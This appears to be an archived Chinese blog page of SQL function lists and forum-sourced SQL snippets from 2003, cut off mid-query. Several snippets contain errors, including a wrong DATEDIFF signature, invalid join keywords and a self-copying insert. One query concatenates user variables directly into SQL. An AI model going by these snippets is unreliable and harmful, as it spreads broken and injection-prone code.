&lt;P&gt;----日期函数----&lt;BR&gt;DAY()&amp;nbsp;&amp;nbsp; --函数返回date_expression 中的日期值&lt;BR&gt;MONTH()&amp;nbsp;&amp;nbsp; --函数返回date_expression 中的月份值&lt;BR&gt;YEAR()&amp;nbsp;&amp;nbsp; --函数返回date_expression 中的年份值&lt;BR&gt;DATEADD(&amp;lt;datepart&amp;gt; ,&amp;lt;number&amp;gt; ,&amp;lt;date&amp;gt;) &lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--函数返回指定日期date 加上指定的额外日期间隔number 产生的新日期&lt;BR&gt;DATEDIFF(&amp;lt;datepart&amp;gt; ,&amp;lt;number&amp;gt; ,&amp;lt;date&amp;gt;)&lt;BR&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--函数返回两个指定日期在datepart 方面的不同之处&lt;BR&gt;DATENAME(&amp;lt;datepart&amp;gt; , &amp;lt;date&amp;gt;)&amp;nbsp;&amp;nbsp;--函数以字符串的形式返回日期的指定部分&lt;BR&gt;DATEPART(&amp;lt;datepart&amp;gt; , &amp;lt;date&amp;gt;)&amp;nbsp;&amp;nbsp;--函数以整数值的形式返回日期的指定部分&lt;BR&gt;GETDATE()&amp;nbsp;&amp;nbsp;--函数以DATETIME 的缺省格式返回系统当前的日期和时间&lt;/P&gt;
&lt;P&gt;&lt;BR&gt;&amp;nbsp;&lt;/P&gt;
&lt;P&gt;----系统函数----&lt;BR&gt;APP_NAME()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;--函数返回当前执行的应用程序的名称&lt;BR&gt;COALESCE()&amp;nbsp;&amp;nbsp;--函数返回众多表达式中第一个非NULL 表达式的值&lt;BR&gt;COL_LENGTH(&amp;lt;'table_name'&amp;gt;, &amp;lt;'column_name'&amp;gt;) --函数返回表中指定字段的长度值&lt;BR&gt;COL_NAME(&amp;lt;table_id&amp;gt;, &amp;lt;column_id&amp;gt;)&amp;nbsp;&amp;nbsp; --函数返回表中指定字段的名称即列名&lt;BR&gt;DATALENGTH() --函数返回数据表达式的数据的实际长度&lt;BR&gt;DB_ID(['database_name']) --函数返回数据库的编号&lt;BR&gt;DB_NAME(database_id)&amp;nbsp;&amp;nbsp;--函数返回数据库的名称&lt;BR&gt;HOST_ID()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --函数返回服务器端计算机的名称&lt;BR&gt;HOST_NAME()&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; --函数返回服务器端计算机的名称&lt;BR&gt;IDENTITY(&amp;lt;data_type&amp;gt;[, seed increment]) [AS column_name])&lt;BR&gt;--IDENTITY() 函数只在SELECT INTO 语句中使用用于插入一个identity column列到新表中&lt;BR&gt;/*select identity(int, 1, 1) as column_name&lt;BR&gt;into newtable&lt;BR&gt;from oldtable*/&lt;BR&gt;ISDATE()&amp;nbsp;&amp;nbsp;--函数判断所给定的表达式是否为合理日期&lt;BR&gt;ISNULL(&amp;lt;check_expression&amp;gt;, &amp;lt;replacement_value&amp;gt;) --函数将表达式中的NULL 值用指定值替换&lt;BR&gt;ISNUMERIC()&amp;nbsp;&amp;nbsp;--函数判断所给定的表达式是否为合理的数值&lt;BR&gt;NEWID()&amp;nbsp;&amp;nbsp; --函数返回一个UNIQUEIDENTIFIER 类型的数值&lt;BR&gt;NULLIF(&amp;lt;expression1&amp;gt;, &amp;lt;expression2&amp;gt;)&lt;BR&gt;--NULLIF 函数在expression1 与expression2 相等时返回NULL 值若不相等时则返回expression1 的值&lt;/P&gt;&lt;BR&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD width="74%"&gt;&lt;A href="file:///E:/backup/Recycled/Study/more.asp?name=晴天&amp;amp;id=109"&gt;阅读全文(2530)&lt;/A&gt; | &lt;A href="file:///E:/backup/Recycled/Study/more.asp?name=晴天&amp;amp;id=109#comment"&gt;回复(17)&lt;/A&gt; | &lt;A href="file:///E:/backup/Recycled/Study/showtb.asp?id=109" target=_blank&gt;引用(0)&lt;/A&gt;&lt;/TD&gt;
&lt;TD width="26%"&gt;
&lt;DIV align=right&gt;&amp;nbsp;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;BR&gt;
&lt;TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=1 cellPadding=3 width="98%" bgColor=#cccccc border=0&gt;
&lt;TBODY&gt;
&lt;TR bgColor=#f8f8f8&gt;
&lt;TD&gt;&lt;FONT size=4&gt;&lt;STRONG&gt;精妙SQL语句&lt;A name=3739&gt;&lt;/A&gt;&lt;/STRONG&gt;&lt;/FONT&gt;&lt;BR&gt;晴天发表评论于2004-10-26 11:16:00 &lt;/TD&gt;&lt;/TR&gt;
&lt;TR bgColor=#ffffff&gt;
&lt;TD height=0&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;
&lt;P&gt;精妙SQL语句&lt;BR&gt;说明：复制表(只复制结构,源表名：a 新表名：b)&lt;BR&gt;SQL: select * into b from a where 1&amp;lt;&amp;gt;1&lt;BR&gt;说明：拷贝表(拷贝数据,源表名：a 目标表名：b)&lt;BR&gt;SQL: insert into b(a, b, c) select d,e,f from b;&lt;BR&gt;说明：显示文章、提交人和最后回复时间&lt;BR&gt;SQL: select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b&lt;BR&gt;说明：外连接查询(表名1：a 表名2：b)&lt;BR&gt;SQL: select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c&lt;BR&gt;说明：日程安排提前五分钟提醒&lt;BR&gt;SQL: select * from 日程安排 where datediff('minute',f开始时间,getdate())&amp;gt;5&lt;/P&gt;
&lt;P&gt;说明：两张关联表，删除主表中已经在副表中没有的信息&lt;BR&gt;SQL: &lt;BR&gt;delete from info where not exists ( select * from infobz where info.infid=infobz.infid ) &lt;BR&gt;说明：--&lt;BR&gt;SQL: &lt;BR&gt;SELECT A.NUM, A.NAME, B.UPD_DATE, B.PREV_UPD_DATE&lt;BR&gt;FROM TABLE1, &lt;BR&gt;(SELECT X.NUM, X.UPD_DATE, Y.UPD_DATE PREV_UPD_DATE&lt;BR&gt;FROM (SELECT NUM, UPD_DATE, INBOUND_QTY, STOCK_ONHAND&lt;BR&gt;FROM TABLE2&lt;BR&gt;WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = TO_CHAR(SYSDATE, 'YYYY/MM')) X, &lt;BR&gt;(SELECT NUM, UPD_DATE, STOCK_ONHAND&lt;BR&gt;FROM TABLE2&lt;BR&gt;WHERE TO_CHAR(UPD_DATE,'YYYY/MM') = &lt;BR&gt;TO_CHAR(TO_DATE(TO_CHAR(SYSDATE, 'YYYY/MM') || '/01','YYYY/MM/DD') - 1, 'YYYY/MM') ) Y, &lt;BR&gt;WHERE X.NUM = Y.NUM （+）&lt;BR&gt;AND X.INBOUND_QTY + NVL(Y.STOCK_ONHAND,0) &amp;lt;&amp;gt; X.STOCK_ONHAND ) B&lt;BR&gt;WHERE A.NUM = B.NUM&lt;BR&gt;说明：--&lt;BR&gt;SQL: &lt;BR&gt;select * from studentinfo where not exists(select * from student where studentinfo.id=student.id) and 系名称='"&amp;amp;strdepartmentname&amp;amp;"' and 专业名称='"&amp;amp;strprofessionname&amp;amp;"' order by 性别,生源地,高考总成绩&lt;BR&gt;说明：&lt;BR&gt;从数据库中去一年的各单位电话费统计(电话费定额贺电化肥清单两个表来源）&lt;BR&gt;SQL: &lt;BR&gt;SELECT a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy') AS telyear,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '01', a.factration)) AS JAN,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '02', a.factration)) AS FRI,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '03', a.factration)) AS MAR,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '04', a.factration)) AS APR,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '05', a.factration)) AS MAY,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '06', a.factration)) AS JUE,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '07', a.factration)) AS JUL,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '08', a.factration)) AS AGU,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '09', a.factration)) AS SEP,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '10', a.factration)) AS OCT,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '11', a.factration)) AS NOV,&lt;BR&gt;SUM(decode(TO_CHAR(a.telfeedate, 'mm'), '12', a.factration)) AS DEC&lt;BR&gt;FROM (SELECT a.userper, a.tel, a.standfee, b.telfeedate, b.factration&lt;BR&gt;FROM TELFEESTAND a, TELFEE b&lt;BR&gt;WHERE a.tel = b.telfax) a&lt;BR&gt;GROUP BY a.userper, a.tel, a.standfee, TO_CHAR(a.telfeedate, 'yyyy')&lt;BR&gt;说明：四表联查问题：&lt;BR&gt;SQL: select * from a left inner join b on a.a=b.b right inner join c on a.a=c.c inner join d on a.a=d.d where .....&lt;BR&gt;说明：得到表中最小的未使用的ID号&lt;BR&gt;SQL:&lt;BR&gt;SELECT (CASE WHEN EXISTS(SELECT * FROM Handle b WHERE b.HandleID = 1) THEN MIN(HandleID) + 1 ELSE 1 END) as HandleID&lt;BR&gt;FROM Handle&lt;BR&gt;WHERE NOT HandleID IN (SELECT a.HandleID - 1 FROM Handle a)&lt;BR&gt;详细的请见原贴：http://expert.csdn.net/Expert/topic/1546/1546652.xml?temp=.3089716&lt;/P&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD width="74%"&gt;个人主页 | &lt;A href="file:///E:/backup/Recycled/Study/more.asp?name=晴天&amp;amp;id=109&amp;amp;commentid=3739#comment"&gt;引用&lt;/A&gt; | &lt;A href="file:///E:/backup/Recycled/Study/sql_2000.html#top"&gt;返回&lt;/A&gt;&lt;/TD&gt;
&lt;TD width="26%"&gt;
&lt;DIV align=right&gt;&amp;nbsp;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;BR&gt;
&lt;TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=1 cellPadding=3 width="98%" bgColor=#cccccc border=0&gt;
&lt;TBODY&gt;
&lt;TR bgColor=#f8f8f8&gt;
&lt;TD&gt;&lt;FONT size=4&gt;&lt;STRONG&gt;回复:[分享]SQl语句学习专题&lt;A name=3740&gt;&lt;/A&gt;&lt;/STRONG&gt;&lt;/FONT&gt;&lt;BR&gt;晴天发表评论于2004-10-26 11:16:00 &lt;/TD&gt;&lt;/TR&gt;
&lt;TR bgColor=#ffffff&gt;
&lt;TD height=0&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;: 我在ms sql中建了一个表,可由于种种原因有些记录重复了&lt;BR&gt;: 记录完全的一模一样。&lt;BR&gt;: 现在我想把重复的都删掉,只保留重复记录中的第一条。&lt;BR&gt;: 我在database好象看到有介绍oracle的，&lt;BR&gt;&lt;BR&gt;&lt;BR&gt;select distinct * into #table_name from table_name&lt;BR&gt;delete from table_name&lt;BR&gt;select * into table_name from #table_name&lt;BR&gt;drop table #table_name&lt;BR&gt;&lt;BR&gt;与此相关的是&amp;#8220;select into&amp;#8221;选项，可以在数据库属性&lt;BR&gt;对话框中，勾起来此项，或者在Query Analyzer中执行&lt;BR&gt;execute sp_dboption 'db_name','select into','true'&lt;BR&gt;开启。默认值是关闭的。&lt;BR&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD width="74%"&gt;个人主页 | &lt;A href="file:///E:/backup/Recycled/Study/more.asp?name=晴天&amp;amp;id=109&amp;amp;commentid=3740#comment"&gt;引用&lt;/A&gt; | &lt;A href="file:///E:/backup/Recycled/Study/sql_2000.html#top"&gt;返回&lt;/A&gt;&lt;/TD&gt;
&lt;TD width="26%"&gt;
&lt;DIV align=right&gt;&amp;nbsp;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;BR&gt;
&lt;TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=1 cellPadding=3 width="98%" bgColor=#cccccc border=0&gt;
&lt;TBODY&gt;
&lt;TR bgColor=#f8f8f8&gt;
&lt;TD&gt;&lt;FONT size=4&gt;&lt;STRONG&gt;专贴揭示SQL语句,贴出你的精妙SQL&lt;A name=3741&gt;&lt;/A&gt;&lt;/STRONG&gt;&lt;/FONT&gt;&lt;BR&gt;晴天发表评论于2004-10-26 11:17:00 &lt;/TD&gt;&lt;/TR&gt;
&lt;TR bgColor=#ffffff&gt;
&lt;TD height=0&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;主　　题：专贴揭示SQL语句,贴出你的精妙SQL,欢迎来抢分!&lt;BR&gt;作　　者：csdntoll (低调惯了) &lt;BR&gt;等　　级： &lt;BR&gt;信 誉 值：147&lt;BR&gt;所属论坛：Web 开发 ASP&lt;BR&gt;问题点数：200&lt;BR&gt;回复次数：260&lt;BR&gt;发表时间：2003-3-18 18:02:24&lt;BR&gt;格式&lt;BR&gt;说明：复制表(只复制结构,源表名：a 新表名：b)&lt;BR&gt;SQL: select * into b from a where 1&amp;lt;&amp;gt;1&lt;BR&gt;&lt;BR&gt;回复人： LuoGD(沃适) ( ) 信誉：100 2003-3-18 18:07:37 得分:5&lt;BR&gt;&lt;BR&gt;说明：拷贝表(拷贝数据,源表名：a 目标表名：b)&lt;BR&gt;insert into b(a, b, c) select d,e,f from b;&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： LuoGD(沃适) ( ) 信誉：100 2003-3-18 18:09:37 得分:5&lt;BR&gt;&lt;BR&gt;说明：合并数据(表名1：a 表名2：b)&lt;BR&gt;select a,b,c from a union select d,e,f from b;&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： LuoGD(沃适) ( ) 信誉：100 2003-3-18 18:11:36 得分:5&lt;BR&gt;&lt;BR&gt;说明：子查询(表名1：a 表名2：b)&lt;BR&gt;select a,b,c from a where a IN (select d from b )&lt;BR&gt;或者:&lt;BR&gt;select a,b,c from a where a IN (1,2,3)&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： _TMG_(Alan) ( ) 信誉：120 2003-3-18 18:11:55 得分:0&lt;BR&gt;&lt;BR&gt;这都是精妙？&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： junsisi(君三思) ( ) 信誉：100 2003-3-18 18:12:36 得分:5&lt;BR&gt;&lt;BR&gt;俺来贴个让俺对sql茅塞顿开的例子&lt;BR&gt;说明：显示文章、提交人和最后回复时间&lt;BR&gt;sql:select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： LuoGD(沃适) ( ) 信誉：100 2003-3-18 18:13:48 得分:0&lt;BR&gt;&lt;BR&gt;说明：外连接查询(表名1：a 表名2：b)&lt;BR&gt;select a.a, a.b, a.c, b.c, b.d, b.f from a LEFT OUT JOIN b ON a.a = b.c&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： LuoGD(沃适) ( ) 信誉：100 2003-3-18 18:15:56 得分:0&lt;BR&gt;&lt;BR&gt;说明：在线视图查询(表名1：a )&lt;BR&gt;select * from (SELECT a,b,c FROM a) T where t.a &amp;gt; 1;&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： gcs925(Study Java&amp;amp;Jsp ing) ( ) 信誉：105 2003-3-18 18:16:00 得分:0&lt;BR&gt;&lt;BR&gt;mark&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： net_lover(孟子E章) ( ) 信誉：727 2003-3-18 18:16:14 得分:0&lt;BR&gt;&lt;BR&gt;SQL:SELECT NEWID()&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： snakegod(蛇姬) ( ) 信誉：100 2003-3-18 21:49:41 得分:0&lt;BR&gt;&lt;BR&gt;????&lt;BR&gt;没有深度 没兴趣&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： _TMG_(Alan) ( ) 信誉：120 2003-3-18 21:54:21 得分:0&lt;BR&gt;&lt;BR&gt;我宁愿用数据库冗余也不会使用子查询,除非万不得已&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： nittystone(没有想法) ( ) 信誉：115 2003-3-18 22:20:49 得分:5&lt;BR&gt;&lt;BR&gt;自连接取出荣于数据&lt;BR&gt;把所有姓名相同的只取出一个&lt;BR&gt;select a.name from table_name a where a.id in &lt;BR&gt;(select b.id from table_name b where a.id&amp;lt;&amp;gt;b.id)&lt;BR&gt;同理删除荣誉数据&lt;BR&gt;delete from table_name&amp;nbsp;&amp;nbsp;where table_name.id in &lt;BR&gt;(select b.id from table_name b where table_name.id&amp;lt;&amp;gt;b.id)&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： allforly(白衣胜血) ( ) 信誉：126 2003-3-19 1:18:29 得分:0&lt;BR&gt;&lt;BR&gt;今天开眼界了啊，我就会select * from ** where **=**这一句&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： gddd(gddd) ( ) 信誉：100 2003-3-19 2:07:30 得分:0&lt;BR&gt;&lt;BR&gt;利害...我会多一句&lt;BR&gt;select top n * form ** where XXX&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： csdntoll(低调惯了) ( ) 信誉：147 2003-3-19 9:22:40 得分:0&lt;BR&gt;&lt;BR&gt;不错，不错，&lt;BR&gt;蛮喜欢junsisi(君三思)的这句：&lt;BR&gt;select a.title,a.username,b.adddate from table a,(select max(adddate) adddate from table where table.title=a.title) b&lt;BR&gt;对net_lover(孟子E章)前辈，这句不理解，我菜，呵呵&lt;BR&gt;SQL:SELECT NEWID()&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： cpp2017(幕白兄) ( ) 信誉：145 2003-3-19 9:27:39 得分:0&lt;BR&gt;&lt;BR&gt;SELECT DISTINCT TSD.Time_Sheet_Dtl_Record_No,TSD.User_Record_No,TP.Period_Start_Date ,TP.Period_End_Date INTO #temp FROM Time_Sheet_Details TSD, Time_Sheet_Period TP ,User_Group_User_Relationship UGUR,User_Group_Master UGM ,User_Data_Access_Right UDAR WHERE TSD.status ='TS_WFMGRA' AND DATEDIFF(dd,TP.period_start_date,TSD.work_Date)&amp;gt;=0 AND DATEDIFF(dd,TP.period_end_date,TSD.work_Date)&amp;lt;=0 AND UGUR.User_Record_No = TSD.User_Record_No AND UGM.User_Group_Record_No=UGUR.User_Group_Record_No AND UGM.User_Group_Name IN('Technician','Engineer') AND UDAR.User_Record_No = TSD.User_Record_No AND UDAR.Division_Record_No IN(1) SELECT DISTINCT A.User_Record_No, B.Staff_No, B.Full_Name,B.Job_Title, SUM(working_hour) AS Working_Hours,SUM(ot) AS OT_HOURS, C.Period_Start_Date,C.Period_End_Date INTO #temp2 FROM Time_Sheet_Details A INNER JOIN User_Master B ON B.User_Record_No= A.User_Record_No INNER JOIN #temp C ON C.Time_Sheet_Dtl_Record_No = A.Time_Sheet_Dtl_Record_No GROUP BY A.User_Record_No, B.Staff_No,B.Full_Name,B.Job_Title, C.Period_Start_Date,C.Period_End_Date HAVING COUNT(*) = DATEDIFF(d,C.Period_Start_Date,C.Period_End_Date)+1 Select A.User_Record_No,A.Staff_No,A.Full_Name,A.Job_Title ,A.Working_Hours,A.OT_HOURS,A.Period_Start_Date,A.Period_End_Date ,DM.Division_Code INTO #temp3 FROM #temp2 AS A INNER JOIN User_Data_Access_Right UDAR ON UDAR.User_Record_No = A.User_Record_No INNER JOIN Division_Master DM ON DM.Division_Record_No = UDAR.Division_Record_No SELECT * From #temp3 order by 1,7,8; Select Count(Distinct User_Record_No+Period_Start_Date+Period_End_Date) From #temp3 DROP TABLE #temp ,#temp2,#temp3&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： cloud1002(好得掉渣~) ( ) 信誉：100 2003-3-19 9:35:06 得分:0&lt;BR&gt;&lt;BR&gt;mark&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： smallmuda(飞翔的猪) ( ) 信誉：101 2003-3-19 9:37:27 得分:0&lt;BR&gt;&lt;BR&gt;select * from a where time between time1 and time2&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-19 9:40:15 得分:0&lt;BR&gt;&lt;BR&gt;让你们看看什么是SQL经典吧..&lt;BR&gt;http://expert.csdn.net/Expert/TopicView1.asp?id=928809&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： cpp2017(幕白兄) ( ) 信誉：145 2003-3-19 9:41:08 得分:5&lt;BR&gt;&lt;BR&gt;select isNull(A.name,B.name),isnull(a.code,B.code) from table1 A&lt;BR&gt;full out join table2 B on&lt;BR&gt;A.id = B.id&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-19 9:43:29 得分:0&lt;BR&gt;&lt;BR&gt;to cpp2017(长安不见使人愁) &lt;BR&gt;jeff?&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： zhw_yihui(卜卢特) ( ) 信誉：94 2003-3-19 9:53:25 得分:0&lt;BR&gt;&lt;BR&gt;SQL:SELECT NEWID()&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-19 9:58:59 得分:0&lt;BR&gt;&lt;BR&gt;select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)&lt;BR&gt;选择在每一组b值相同的数据中对应的a最大的(换成average或别的函数或子查询,你会有意想不到的发现)记录的所有信息.&lt;BR&gt;类似这样的用法可以用于论坛每月排行榜,每月热销产品分析,按科目成绩排名,等等.&lt;BR&gt;上面的许多同志对子查询存在有偏见与误解,其实在一个好的数据分析程序中,子查询可以简化很多程序逻辑.&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： yonghengdizhen(刹那←→永恒) ( ) 信誉：112 2003-3-19 10:01:40 得分:0&lt;BR&gt;&lt;BR&gt;上面select a,b,c from tablename ta where a=(select max(a) from tablename tb where tb.b=ta.b)&lt;BR&gt;这种相关子查询和delete(insert)等结合起来,可以用于消除数据库中某个字段(或某些)的重复值&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： hubinasm(火星撞地球) ( ) 信誉：115 2003-3-19 10:10:41 得分:0&lt;BR&gt;&lt;BR&gt;(select a from tableA ) except (select a from tableB) except (select a from tableC)&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： aocool(知秋一叶) ( ) 信誉：100 2003-3-19 10:14:11 得分:0&lt;BR&gt;&lt;BR&gt;获益不浅啊.&lt;BR&gt;SELECT DISTINCT TSD.Time_Sheet_Dtl_Record_No,TSD.User_Record_No,TP.Period_Start_Date ,TP.Period_End_Date INTO #temp FROM Time_Sheet_Details TSD, Time_Sheet_Period TP ,User_Group_User_Relationship UGUR,User_Group_Master UGM ,User_Data_Access_Right UDAR WHERE TSD.status ='TS_WFMGRA' AND DATEDIFF(dd,TP.period_start_date,TSD.work_Date)&amp;gt;=0 AND DATEDIFF(dd,TP.period_end_date,TSD.work_Date)&amp;lt;=0 AND UGUR.User_Record_No = TSD.User_Record_No AND UGM.User_Group_Record_No=UGUR.User_Group_Record_No AND UGM.User_Group_Name IN('Technician','Engineer') AND UDAR.User_Record_No = TSD.User_Record_No AND UDAR.Division_Record_No IN(1) SELECT DISTINCT A.User_Record_No, B.Staff_No, B.Full_Name,B.Job_Title, SUM(working_hour) AS Working_Hours,SUM(ot) AS OT_HOURS, C.Period_Start_Date,C.Period_End_Date INTO #temp2 FROM Time_Sheet_Details A INNER JOIN User_Master B ON B.User_Record_No= A.User_Record_No INNER JOIN #temp C ON C.Time_Sheet_Dtl_Record_No = A.Time_Sheet_Dtl_Record_No GROUP BY A.User_Record_No, B.Staff_No,B.Full_Name,B.Job_Title, C.Period_Start_Date,C.Period_End_Date HAVING COUNT(*) = DATEDIFF(d,C.Period_Start_Date,C.Period_End_Date)+1 Select A.User_Record_No,A.Staff_No,A.Full_Name,A.Job_Title ,A.Working_Hours,A.OT_HOURS,A.Period_Start_Date,A.Period_End_Date ,DM.Division_Code INTO #temp3 FROM #temp2 AS A INNER JOIN User_Data_Access_Right UDAR ON UDAR.User_Record_No = A.User_Record_No INNER JOIN Division_Master DM ON DM.Division_Record_No = UDAR.Division_Record_No SELECT * From #temp3 order by 1,7,8; Select Count(Distinct User_Record_No+Period_Start_Date+Period_End_Date) From #temp3 DROP TABLE #temp ,#temp2,#temp3&lt;BR&gt;:)&lt;BR&gt;&lt;BR&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" align=center border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD width="74%"&gt;个人主页 | &lt;A href="file:///E:/backup/Recycled/Study/more.asp?name=晴天&amp;amp;id=109&amp;amp;commentid=3741#comment"&gt;引用&lt;/A&gt; | &lt;A href="file:///E:/backup/Recycled/Study/sql_2000.html#top"&gt;返回&lt;/A&gt;&lt;/TD&gt;
&lt;TD width="26%"&gt;
&lt;DIV align=right&gt;&amp;nbsp;&lt;/DIV&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;/TD&gt;&lt;/TR&gt;&lt;/TBODY&gt;&lt;/TABLE&gt;&lt;BR&gt;&lt;BR&gt;
&lt;TABLE style="TABLE-LAYOUT: fixed; WORD-BREAK: break-all" cellSpacing=1 cellPadding=3 width="98%" bgColor=#cccccc border=0&gt;
&lt;TBODY&gt;
&lt;TR bgColor=#f8f8f8&gt;
&lt;TD&gt;&lt;FONT size=4&gt;&lt;STRONG&gt;回复:[分享]SQl语句学习专题&lt;A name=3742&gt;&lt;/A&gt;&lt;/STRONG&gt;&lt;/FONT&gt;&lt;BR&gt;晴天发表评论于2004-10-26 11:18:00 &lt;/TD&gt;&lt;/TR&gt;
&lt;TR bgColor=#ffffff&gt;
&lt;TD height=0&gt;
&lt;TABLE cellSpacing=0 cellPadding=0 width="100%" border=0&gt;
&lt;TBODY&gt;
&lt;TR&gt;
&lt;TD&gt;Top&lt;BR&gt;回复人： seafarer777(还是离爱情远点......) ( ) 信誉：95 2003-3-19 10:21:04 得分:0&lt;BR&gt;&lt;BR&gt;收藏，^_^&lt;BR&gt;&lt;BR&gt;Top&lt;BR&gt;回复人： csdntoll(低调惯了) ( ) 信誉：147 2003-3-19 10:51:59 得分:0&lt;BR&gt;&lt;BR&gt;cpp2017(长安不见使人愁)这么长一句，少见，能否介绍介绍它的功力？^_^&lt;BR&gt;SELECT DISTINCT TSD.Time_Sheet_Dtl_Record_No,TSD.User_Record_No,TP.Period_Start_Date ,TP.Period_End_Date INTO #temp FROM Time_Sheet_Details TSD, Time_Sheet_Period TP ,User_Group_User_Relationship UGUR,User_Group_Master UGM ,User_Data_Access_Right UDAR WHERE TSD.status ='TS_WFMGRA' AND DATEDIFF(dd,TP.period_start_date,TSD.work_Date)&amp;gt;=0 AND DATEDIFF(dd,TP.period_end_date,TSD.work_Date)&amp;lt;=0 AND UGUR.User_Record_No = TSD.User_Record_No AND UGM.User_Group_Record_No=UGUR.User_Group_Record_No AND UGM.User_Group_Name IN('Technician','Engineer') AND UDAR.User_Record_No = TSD.User_Record_No AND UDAR.Division_Record_No IN(1) SELECT DISTINCT A.User_Record_No, B.Staff_No, B.Full_Name,B.Job_Title, SUM(working_hour) AS Working_Hours,SUM(ot) AS OT_HOURS, C.Period_Start_Date,C.Period_End_Date INTO #temp2 FROM Time_Sheet_Details A INNER JOIN User_Master B ON B.User_Record_No= A.User_Record_No INNER JOIN #temp C ON C.Time_Sheet_Dtl_Record_No = A.Time_Sheet_Dtl_Record_No GROUP BY A.User_Record_No, B.Staff_No,B.Full_Name,B.Job_Title, C.Period_Start_Date,C.Period_End_Date HAVING COUNT(*) = 